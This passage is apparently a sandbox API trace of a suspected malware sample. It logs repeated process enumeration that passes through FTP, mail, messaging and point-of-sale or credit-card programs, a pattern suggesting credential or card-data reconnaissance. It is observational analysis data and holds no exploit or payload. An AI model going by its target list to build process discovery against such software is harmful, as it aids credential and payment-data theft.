szExeFile="chance_everybody_employee.exe")) returned 1 [0270.228] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0270.230] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0270.232] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0270.233] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0270.235] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0270.237] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0270.238] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0270.240] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0270.242] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0270.244] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0270.245] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0270.247] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0270.249] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0270.252] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0270.254] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0270.257] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0270.264] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0270.268] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0270.271] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0270.274] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0270.277] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0270.280] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0270.283] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0270.286] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0270.289] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0270.292] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0270.295] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0270.359] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0270.364] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0270.367] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0270.370] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0270.372] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0270.375] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0270.378] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0270.380] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0270.383] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0270.386] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0270.388] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0270.390] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0270.393] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0270.395] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0270.398] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0270.400] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0270.402] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0270.404] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0270.406] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0270.408] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0270.410] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0270.412] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0270.414] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0270.416] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0270.418] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0270.419] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0270.421] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0270.423] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0270.425] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0270.427] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0270.429] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0270.431] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.433] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0270.435] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.437] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0270.439] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0270.442] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0270.446] CloseHandle (hObject=0x21cc) returned 1 [0270.446] Sleep (dwMilliseconds=0x64) [0270.454] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0270.472] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.474] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.475] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.477] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.478] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.480] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.483] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.565] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.570] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.574] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.577] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.581] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.583] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.586] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.589] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.594] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.596] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.598] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.600] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, 